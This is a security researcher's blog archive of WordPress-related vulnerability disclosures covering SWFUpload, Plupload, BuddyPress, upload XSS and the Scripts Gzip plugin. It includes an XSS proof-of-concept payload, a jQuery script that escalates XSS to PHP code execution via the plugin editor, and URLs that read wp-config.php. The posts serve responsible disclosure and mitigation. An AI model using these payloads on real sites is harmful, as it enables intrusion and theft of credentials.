Tag: Wordpress
2012
05.17

Summary

Nathan Partlan and I discovered and reported vulnerabilities in two common Flash applets, SWFUpload and Plupload. SWFUpload’s developers have not released a fix for the XSS issue identified. Plupload’s developers have released v1.5.4 to address the identified CSRF issue.

Both of these applets are present in Wordpress installations. These vulnerabilities were addressed as part of Wordpress 3.3.2.

Vulnerability #1: XSS in SWFUpload (CVE-2012-3414)

The latest version of SWFUpload (ActionScript code available here) contains the following code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// Get the movie name
this.movieName = root.loaderInfo.parameters.movieName;

// **Configure the callbacks**
// The JavaScript tracks all the instances of SWFUpload on a page.  We can access the instance
// associated with this SWF file using the movieName.  Each callback is accessible by making
// a call directly to it on our instance.  There is no error handling for undefined callback functions.
// A developer would have to deliberately remove the default functions,set the variable to null, or remove
// it from the init function.
this.flashReady_Callback         = "SWFUpload.instances[\"" + this.movieName + "\"].flashReady";
this.fileDialogStart_Callback    = "SWFUpload.instances[\"" + this.movieName + "\"].fileDialogStart";
this.fileQueued_Callback         = "SWFUpload.instances[\"" + this.movieName + "\"].fileQueued";
this.fileQueueError_Callback     = "SWFUpload.instances[\"" + this.movieName + "\"].fileQueueError";
this.fileDialogComplete_Callback = "SWFUpload.instances[\"" + this.movieName + "\"].fileDialogComplete";

this.uploadStart_Callback        = "SWFUpload.instances[\"" + this.movieName + "\"].uploadStart";
this.uploadProgress_Callback     = "SWFUpload.instances[\"" + this.movieName + "\"].uploadProgress";
this.uploadError_Callback        = "SWFUpload.instances[\"" + this.movieName + "\"].uploadError";
this.uploadSuccess_Callback      = "SWFUpload.instances[\"" + this.movieName + "\"].uploadSuccess";

this.uploadComplete_Callback     = "SWFUpload.instances[\"" + this.movieName + "\"].uploadComplete";

this.debug_Callback              = "SWFUpload.instances[\"" + this.movieName + "\"].debug";

this.testExternalInterface_Callback = "SWFUpload.instances[\"" + this.movieName + "\"].testExternalInterface";
this.cleanUp_Callback            = "SWFUpload.instances[\"" + this.movieName + "\"].cleanUp";
this.buttonAction_Callback       = "SWFUpload.instances[\"" + this.movieName + "\"].buttonAction";

Each of those callbacks is used as the first parameter to ExternalInterface.call, which executes JavaScript in the context of the current page. Since movieName is derived from user input (a Flash parameter) and a Flash applet can be loaded directly (with parameters in the URL), the Flash applet allows for reflected cross-site scripting. For sites where the applet is hosted on the same domain as the main website, this is a serious security concern.

At this point, I’m not aware of a patched version of the applet source (let me know in the comments if there is one!). My suggestion would be to filter the movieName parameter so that only alpha-numeric characters are allowed.

Proof of Concept: http://demo.swfupload.org/v220/swfupload/swfupload.swf?movieName=%22%5d%29;}catch%28e%29{}if%28!self.a%29self.a=!alert%281%29;//

Vulnerability #2: CSRF in Plupload (CVE-2012-3415)

The Plupload applet called Security.allowDomain('*') to allow the applet to be used from any domain (so it could be served from S3, for instance). That meant people could interact with the Plupload applet from any other site on the Internet by embedding it on a page and using JavaScript. But due to the way the same-origin policy works in Flash, the applet could still make requests back to the domain on which it was hosted. In addition, people can specify the full URL for an upload request via JavaScript and the result of that request (ie: the HTML of the resulting page) is passed back via JavaScript to the embedding page.

So, if an attacker could convince a target to interact with the applet (by selecting a single file to be uploaded), the attacker could make a request to the domain that the applet was hosted on and read back the full response. That could disclose CSRF tokens or other sensitive information. This issue was especially important for Wordpress installations, where Plupload applets are hosted inside of the wp-includes directory by default.

The issue was resolved by removing the call to Security.allowDomain('*') by default.

Conclusion

Third-party Flash applets are vulnerable to many of the same sorts of attacks as other parts of web applications. However, they are often included in sites without a proper understanding of the security risks.

Update (08/01/2012): I’ve updated the post to include the CVE identifiers assigned to these vulnerabilities.

2011
04.26

[Note: The fix for this security vulnerability is omitted from the release history for BuddyPress v1.2.8]

[Note: This writeup is related to another vulnerability in Wordpress that I’ve written about.]

Summary

BuddyPress 1.2.7 and older contains a broken check for validating avatar uploads. As a result, file extension restrictions are not properly enforced (the only restrictions in effect are Wordpress’s default restrictions, which can be fairly broad). Since registered user (Subscriber level and above) can upload avatars to BuddyPress, they are also able to exploit the file upload XSS vulnerability in Wordpress that I recently wrote about.

How Did It Work?

Internally, BuddyPress’s avatar upload feature uses built-in Wordpress functionality for handling uploads. Those functions are built to allow a variety of file extensions without much validation, as I pointed out in my other report. BuddyPress has written its own set of checks; when a file is uploaded, BuddyPress attempts to verify that the file extension is valid for an image (jpeg/jpg/gif/png) and that the file’s claimed MIME-type is valid for an image.

Unfortunately, older versions of BuddyPress contain a mistake in the logic of the test. As a result, they allow uploads where only one of the two checks passes. Accordingly, a malicious attacker can send a request to a vulnerable server, uploading a file with an extension that is acceptable to Wordpress (eg: .html) and a MIME type that is acceptable to BuddyPress (image/gif). The upload will be accepted and stored on the server, where it can be used to cause a persistent XSS attack.

For the curious, this is the patch that corrects the logic of BuddyPress’s avatar validation.

So, What’s The Fix?

If you can’t upgrade to the newest version of BuddyPress, at least update your code using the aforementioned patch. For other mitigation tips, check out the Wordpress vulnerability report.

2011
04.26

Summary

Wordpress allows users with Author permissions and above to upload files with a variety of extensions. In some cases, it is possible for a user to mount a cross-site scripting attack using those uploaded files.

How Does It Work?

File uploads are allowed by default for users with Author permissions and above. Wordpress uses a list of file extensions to determine whether a particular upload should be allowed or not. It has a general set of extensions that are allowed for single-site Wordpress installs and a more restrictive set of extensions for multi-site Wordpress installations (formerly known as Wordpress MU). Individual administrators may also change the allowed extensions using the plugin system. There is no validation to make sure the content of an uploaded file matches its extension.

Due to this behavior, a hostile user can mount an XSS attack using the file upload feature in a number of ways; I’ve provided a list of some possibilities below. In cases where an attack will work on a single-site install, I’ve marked it Single-Site: in cases where an attack will work on a multi-site install, I’ve marked it Multi-Site:

  1. (Single-Site) Wordpress allows files with .htm/.html extensions to be uploaded. This is an obvious XSS vector.
  2. (Single-Site) Wordpress allows files with a .txt extension (and other files that can be served up as text/plain by a web browser) to be uploaded. IE6, IE7, IE8, and Safari will all perform content sniffing on files served up as text/plain (source: http://code.google.com/p/browsersec/wiki/Part2#Survey_of_content_sniffing_behaviors). That means HTML included in those files will be executed in IE and Safari.
  3. (Single-Site, Multi-Site) Wordpress allows files with a .swf extension to be uploaded on single-site installs. In addition, SWF applets can be uploaded to the server using any other file extension. If the file is on the same domain as the Wordpress installation, it can make requests back to the Wordpress installation without the need for explicit authorization via a crossdomain.xml file.
  4. (Single-Site, Multi-Site) IE6/7 will sniff for HTML when they encounter “corrupted” images (files served with image/* headers that don’t actually contain valid image data). So, lets say you upload a file with a GIF extension that contains all HTML: Wordpress will accept it, the web server will serve it up as image/gif, and IE6/7 will parse the HTML and be vulnerable to an attack.
  5. (Single-Site, Multi-Site) The configuration of the webserver for certain file extensions may trigger unexpected content-sniffing behaviors in specific browsers. For example, if a file (regardless of extension) gets served up as application/octet-stream, IE, Safari, and Opera will all sniff for HTML (see http://code.google.com/p/browsersec/wiki/Part2#Survey_of_content_sniffing_behaviors).

Note that uploads only allow for cross-site scripting when they are uploaded to the same domain as Wordpress itself. In other instances, while malicious content may be able to be uploaded, it will not be able to make requests back to Wordpress. Regardless, since the default behavior for Wordpress is to upload content into the wp-content/uploads folder on the same domain as the website, any site that has not reconfigured their upload directory is at risk.

This vulnerability is symptomatic of a larger design choice in Wordpress: by allowing the webserver to serve uploaded files directly, Wordpress has seceded control over how those files are presented to the user. This decision has led to an arbitrary code execution vulnerability in the not so distant past and there’s no guarantee that certain server configurations won’t lead to similar vulnerabilities in the future. Existing plugins may even open the door for an attack. Other software, like phpBB, serves all attachments to users through a PHP script: this design decision allows the software to more fully protect users from malicious uploads.

Where do we go from here?

There are a couple different workarounds for people who are hosting uploads from the same domain as their Wordpress installation:

  1. Move your uploaded files to a separate domain (or a subdomain)
    Thanks to the way browsers handle cross-domain communication, moving uploaded files off of your main domain will prevent them from having access to your Wordpress installation, mitigating the impact of this vulnerability. Once you’ve moved your content, you will need to update your Wordpress settings.
    If you’re considering moving your files to a subdomain, keep in mind that under certain circumstances, different subdomains of the same website may actually be able to communicate (ie: by setting document.domain equal to the same value). If you need to allow that kind of communication with your main domain, host your uploads on an entirely separate domain.
  2. Disable file uploads
    If an attacker can’t upload files, they can’t exploit the vulnerability.

In the longer term, there needs to be a discussion about how to balance the simplicity of the current system with the need to be secure.

2011
01.31

Preface

Last year, I attended my first security conference: QuahogCon. I had never been to a conference before but I had a great time listening to and learning from all the speakers. I especially enjoyed the opening keynote, which was given by Dan Kaminsky. The topic of the talk was “web defense”: the slides can be found here.

The talk covered a lot of ground, but one of the areas Dan touched on briefly was the Referer header. He reminded the audience that the Referer header is difficult to use as a security feature because it isn’t reliably passed to the server (due to filtering by proxies and other client software, browser-specific behaviors that control when referrer information is passed, etc). However, he also made the point that people are often warned to avoid using the header due to security concerns which are no longer valid. To quote the slides:

  • Many Content Management Systems have attempted to use Referer checking to stop XSRF and related attacks
  • We tell them not to do this, for “Security Reasons”

  • Amit et al fixed this years ago

  • There are no known mechanism for causing a browser to emit an arbitrary Referer header, and hasn’t been for quite some time.
    • More importantly, if one is found, it’s fixed, just like a whole host of other browser bugs

Despite its unreliable nature, the Referer header provides information that can not be gotten from other sources; there is no other way for the server to know from what location a request was submitted. As the rest of this post will illustrate, using the Referer header properly can partially mitigate the impact of a cross-site scripting attack: ignoring it can allow an attack to escalate and become much worse.

An Example

[Note: Although I’m sure people will use this post to argue that Wordpress is insecure, it’s worth noting that a similar proof of concept could be built against any web application that does not verify the Referer header as a form of CSRF protection. This kind of attack is in no way Wordpress specific.]

Wordpress makes extensive use of HttpOnly cookies, randomized nonces, and other security measures to protect itself against CSRF and session hijacking attacks. However, it is still possible for an attacker to sidestep all of those protections by making use of XMLHttpRequest, using GETs to retrieve nonces and POSTs to submit requests. Of course, XMLHttpRequest is meant to be able to make same-origin requests: there is nothing inherently wrong with that. Unfortunately, that behavior also poses a security risk: if an attacker can find and exploit an XSS vulnerability on the same domain as a Wordpress installation, that attacker can use XMLHttpRequest to make same-origin requests. That means an XSS vulnerability in any part of the system allows for a CSRF attack against the entire system.

People familiar with Wordpress may also realize that Wordpress administrators are given a wide range of abilities through the backend of their site. Those abilities include editing PHP files on the filesystem, assuming the files are writable by the web server. That won’t be true for all Wordpress installations, but there are many cases in which administrators may (intentionally or unintentionally) allow for such behavior. Although as of last year the file editor functionality can be disabled by defining a constant (DISALLOW_FILE_EDIT), Wordpress does not define this constant by default (see ticket #11306 and changeset 13034).

Now, lets take a moment and summarize the ideas presented here so far:

  1. Given an XSS vulnerability, it’s possible for an attacker to make requests to Wordpress
  2. Administrators can edit files on the web server through a web interface

See where I’m going with this? ;-)

A Demonstration

Here’s a proof of concept that uses jQuery. One GET to grab the correct nonce and other fields from the plugin editor, one POST to append arbitrary code to a PHP file. Voila: an XSS vulnerability has become arbitrary code execution.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=utf-8">

        <title>Wordpress XSS => Arbitrary Code / Command Execution PoC</title>
        <script type="text/javascript" src="http://www.google.com/jsapi"></script>

        <script type="text/javascript">
        var base = "/wordpress-3.0.3/wordpress";
        var code = "<?php /*code goes here */ ?>"

        google.load("jquery", "1.4.4");
        google.setOnLoadCallback(function() {
            $.get(base + '/wp-admin/plugin-editor.php?file=index.php', function (data) {
                var postData = $('#template', data).serialize();

                postData = postData.replace('&amp;action=', encodeURIComponent(code) + '&amp;action=');

                $.post(base + '/wp-admin/plugin-editor.php', postData);
            });
        });
        </script>
    </head>
    <body>
        <p>Hello!</p>
    </body>
</html>

This code (adapted somewhat) could be used in conjunction with any XSS vulnerability in Wordpress or any XSS vulnerability in any other application running on the same domain as a Wordpress installation.

In fact, users with the Editor role in Wordpress have the ability to use unfiltered HTML. They can perform an “XSS attack” against an administrator without any need for an underlying vulnerability. Of course, Wordpress administrators should only be giving editor privileges to people who they feel they can trust. Then again though, what happens if a hacker gains access to an editor’s account?

But how does the Referer help?

The example above relies on the fact that an attacker can use XmlHttpRequest to make valid requests to any page on the targeted server. Verifying the Referer header means that, if an XSS vulnerability exists on a given page, an attacker is limited to submitting requests that a user could normally submit from that page. For instance, if there were an XSS vulnerability in the comments section of a Wordpress site, an attacker would not be able to make POST requests to the plugin editor, or the user manager (to make themselves an administrator), etc. An attacker would be limited to actions like approving a comment, marking a comment as spam, etc.

Of course, I don’t claim that checking the Referer mitigates XSS or CSRF vulnerabilities: at best, it limits the ways in which an XSS vulnerability can be used to cause a more serious security breach. XSS vulnerabilities in sensitive locations like file editors are still just as dangerous. And if you strictly enforce the policy, which you have to do if you want it to be effective, you’ll be locking out users who don’t send a Referer header.

Final Thoughts

I’m far from the first person to notice that an XSS vulnerability can be used to bypass CSRF protections. For instance, Jesse Burns wrote a very thorough paper on CSRF back in 2005 that makes reference to the relationship between XSS and CSRF.

XSS flaws may allow bypassing of any of XSRF protections by leaking valid values of the tokens, allowing referrer’s to appear to be the application itself, or by hosting hostile HTML elements right in the target application.

As I mentioned earlier, Wordpress is not the only web application vulnerable to this kind of attack: any application that fails to validate the Referer header can fall victim to this type of vulnerability escalation. If people have other examples of applications where an XSS vulnerability can have extraordinary consequences, I’d be very interested to hear about them. :)

If you have any opinions, comments, or questions, please post them below!

Update: The comments have raised a couple interesting points.

  1. I’m not the only person to have run across this problem with Wordpress! ;-) In fact, commenter felixaime wrote a post (in French) about the same issue back in October.
  2. It turns out that it may be possible to “forge” the Referer header, to a degree. Commenter lava points out that by loading a page in an IFrame and using JavaScript to manipulate the contents of the page, it may be possible to bypass the kind of Referer checking I described. Definitely worth investigating!
2010
08.06

Last weekend, I evaluated a couple Wordpress plugins that I wanted to add to this site. One of the plugins I loooked at was Scripts Gzip: its goal is to reduce the number of requests needed to fetch CSS/JS. As the author puts it:

It does not cache, minify, have a “PRO” support forum that costs money, keep any logs or have any fancy graphics. It only does one thing, merge+compress, and it does it relatively well.

I happened to take a look at the plugin’s code because I was curious how it was fetching the CSS/JS. However, I soon discovered a number of fairly serious security vulnerabilities. I immediately contacted the author with an explanation of what I had found. He responded quickly, acknowledged the issues, and released a new version of the plugin that addressed all of the vulnerabilities I had found.

Since a fixed version of the plugin has now been released, I feel comfortable discussing the flaws publicly. I’ll be giving a brief synopsis along with details about each vulnerability, ordered below from most to least serious.

1. Arbitrary Exposure of File Contents

This vulnerability was quite serious. It allowed an attacker to view the complete contents of any file within the Wordpress directory, even sensitive PHP files like wp-config.php.

The problem came from this function in gzip.php:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
private function collectData($options)
{
    $returnValue = array('data' => '', 'latestModified' => null);
    foreach($options['files'] as $file)
    {
        $oldDirectory = getcwd();
        $parsedURL = parse_url($file);
        $file = $parsedURL['path'];
        $file = preg_replace('/\.\./', '', $file);  // Avoid people trying to get into directories they're not allowed into.
        $parents = '../../../';                 // wp-content / plugins / scripts_gzip
        $realFile =  $parents . $file;
        if (!is_readable($realFile))
            continue;

        if ($options['mime_type'] == 'text/css')
        {
            chdir($parents);
            $base = getcwd() . '/';
            // Import all the files that need importing.
            $contents = $this->import(array(
                'contents' => '',
                'base' => $base,
                'file' => $file,
            ));
            // Now replace all relative urls with ones that are relative from this directory.
            $contents = $this->replaceURLs(array(
                'contents' => $contents,
                'base' => $base,
                'parents' => $parents,
            ));
        }
        else
        {
            $contents = file_get_contents($realFile);
        }

        $returnValue['data'] .= $contents;

        if ($options['mime_type'] == 'application/javascript')
            $returnValue['data'] .= ";\r\n";

        chdir($oldDirectory);

        $returnValue['latestModified'] = max($returnValue['latestModified'], filemtime($realFile));
    }
    return $returnValue;
}

The key to understanding this vulnerability is understanding the inputs. $options is an array containing user data, including the names of files that the user has asked the script to gzip. So, we understand that lines 6-13 are sanitization/validation checks that prevent the user from trying to load files outside of the Wordpress directory or trying to load non-existent files. However, we can also see that on line 34, the file requested by the user is loaded without any other special validation. That code path is executed when the user requests that JS be gzipped.

As a concerete example, we can say that http://example.com/wordpress/wp-content/plugins/scripts-gzip/gzip.php?js=wp-config.php would load the Wordpress configuration file on a vulnerable installation.

2. “Limited” Exposure of File Contents

A less serious security vulnerability occurs if the attacker tries loading CSS instead of JS. As we can see from the code above, if the script is loading CSS it calls an import function, which is reproduced in part below.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
/**
 * Import a CSS @import.
 */
private function import($options)
{
    $dirname = dirname($options['file']);
    if (!is_readable($dirname))
        return $options['contents'];

    // SECURITY: file may not be outside our WP install.
    if (!str_startsWith(realpath($options['file']), $options['base']))
        return $options['contents'];

    // SECURITY: file may not be a php file.
    if (strpos($options['file'], '.php') !== false)
        return $options['contents'];

    // Change the directory to the new file.
    chdir($dirname);
    $newContents = file_get_contents(basename($options['file']));

    // The rest of the code has been omitted for space considerations
}

It’s clear that this code path does do some extra validation. However, we can also see that the validation is not strong enough. It employs a blacklist model (forbidding files ending in .php) rather than a whitelist model (eg: only allowing files ending in .css). Accordingly, an attacker can request potentially sensitive but not forbidden files (eg: .htaccess) that are within the Wordpress directory.

As another concerete example, we can say that http://example.com/wordpress/wp-content/plugins/scripts-gzip/gzip.php?css=.htaccess would load the .htaccess file for Wordpress, if it exists.

3. Path Disclosure

This vulnerability is the least serious of the bunch. However, a path disclosure vulnerability can be useful for hackers looking to gain more information about a target. It can also make other sorts of attacks easier to pull off. This vulnerability required an attacker to be able to write a file somewhere within the Wordpress directory (possibly if they’re allowed to upload attachments). If the file contained a line with url(‘…’) and the script were directed to parse it it as CSS, the result returned would contain the absolute path to the Wordpress directory.

Summary

All of these vulnerabilities have been resolved in the latest version of the plugin, 0.9.1. I urge anyone using Scripts Gzip to upgrade as soon as possible. I’d especially like to thank the plugin’s author, Edward Hevlund, for his speedy responses to my emails, his attentiveness to security issues, and (of course) for a wonderfully useful plugin.

2010
06.26

Disclaimer: This is not about hiding or disabling Wordpress’s automatic update notices. If that’s your goal, there are a series of wonderful plugins which will do the job for you (for core, plugin, and theme updates). Instead, this is about making it physically impossible for administrators of a Wordpress installation to use the install/update functionality in the backend of the site.

If you choose to do this, you must make sure to keep up-to-date with new releases and update your site as soon as new versions are released. If you fail to do so, you run an increased risk of security vulnerabilities or performance issues with your website/blog.

Short version

If you create a file named upgrade in the wp-content directory, Wordpress will be unable to download any new plugins/themes or upgrade existing code.

Long version

I needed to figure out how to disable the automatic update feature because I was using SVN to store/deploy the code for several clients’ Wordpress installations. I had a central SVN repository for each client which I pushed changes to and which the websites pulled their code from. Unfortunately, Wordpress deletes all traces of the existing plugin when upgrading; that means the .svn directory inside each plugin’s directory would also be removed, breaking the working copy. If I didn’t disable the feature, someone with administrative access could break the website’s working copy just by upgrading a plugin.

As it so happened, I found an easy solution. All I had to do was create a 0 byte file at wp-content/upgrade (removing the directory with that name if it exists). That directory is used by Wordpress as temporary space when installing/updating code. Placing a file there instead causes the process to fail; Wordpress has no place to store files temporarily. It is sort of a hack, but it works well enough for my purposes; I don’t have to modify the Wordpress core, I just have to create a single file.